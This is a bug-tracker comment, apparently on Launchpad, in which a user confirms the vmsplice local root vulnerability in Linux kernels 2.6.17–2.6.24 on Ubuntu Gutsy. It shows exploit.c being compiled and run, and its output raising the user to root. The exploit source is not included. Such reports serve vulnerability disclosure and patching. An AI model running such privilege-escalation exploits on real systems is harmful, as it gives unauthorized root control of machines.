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  1. Bug #190587
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Comment 1 for bug 190587

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Heikki Mäntysaari (heikki-mantysaari) wrote : Re: Local root exploit in kernel 2.6.17 - 2.6.24

I can confirm this in Gutsy:

$ gcc exploit.c -o exploit
$ whoami
heikki
$ ./exploit
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root

Kernel 2.6.22-14-generic